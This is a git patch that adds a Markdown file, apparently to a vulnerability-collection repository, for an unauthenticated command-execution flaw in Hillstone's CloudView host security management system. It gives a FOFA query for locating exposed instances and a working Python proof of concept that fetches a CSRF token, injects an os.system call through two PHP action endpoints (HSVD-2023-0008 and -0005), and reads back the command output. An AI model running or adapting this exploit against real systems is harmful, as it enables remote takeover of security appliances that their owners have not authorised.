From cf75a6db7cf874fdf2ebedbe1f088592ecab0e48 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Wed, 21 Feb 2024 12:16:26 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E5=B1=B1=E7=9F=B3=E7=BD=91=E7=A7=91?= =?UTF-8?q?=E4=BA=91=E9=89=B4=E5=AD=98=E5=9C=A8=E5=89=8D=E5=8F=B0=E4=BB=BB?= =?UTF-8?q?=E6=84=8F=E5=91=BD=E4=BB=A4=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 山石网科云鉴存在前台任意命令执行漏洞.md | 47 +++++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 山石网科云鉴存在前台任意命令执行漏洞.md diff --git a/山石网科云鉴存在前台任意命令执行漏洞.md b/山石网科云鉴存在前台任意命令执行漏洞.md new file mode 100644 index 0000000..98d69d3 --- /dev/null +++ b/山石网科云鉴存在前台任意命令执行漏洞.md @@ -0,0 +1,47 @@ +## 山石网科云鉴存在前台任意命令执行漏洞 + +## fofa +``` +"山石云鉴主机安全管理系统" +``` + +## poc +``` +import requests +''' +HSVD-2023-0008 +''' +def setSystemTimeAction(newcsrf,headers): + url = "https://192.168.199.221/master/ajaxActions/setSystemTimeAction.php?token_csrf="+newcsrf + proxies = {'https':'http://127.0.0.1:8080'} + x = "param=os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')" + #req2 = requests.post(url2, data=x, proxies=proxies, verify=False, headers=headers) + req2 = requests.post(url, data=x,headers=headers, verify=False) + +''' +HSVD-2023-0005 +''' +def getMessageSettingAction(newcsrf,header): + proxies = {'https':'http://127.0.0.1:8080'} + company_uuid = "aaa" + platform_sel = "os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')" + url = 'https://192.168.199.221/master/ajaxActions/getMessageSettingAction.php?token_csrf='+newcsrf+"&company_uuid="+company_uuid+"&platform_sel="+platform_sel + req = requests.get(url, headers=header, verify=False) + print(req.text) + + +def main(): + headers = {"Cookie": "PHPSESSID=emhpeXVhbg;", + "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8" + } + url = "https://192.168.199.221/master/ajaxActions/getTokenAction.php" + req = requests.post(url, verify=False, headers=headers) + newcsrf = req.text.replace("\n", "") + setSystemTimeAction(newcsrf,headers) + reshell = requests.get('https://192.168.199.221/master/img/config',verify=False) + print('---------------------cmd-------------------------') + print(reshell.text) + +if __name__ == '__main__': + main() +```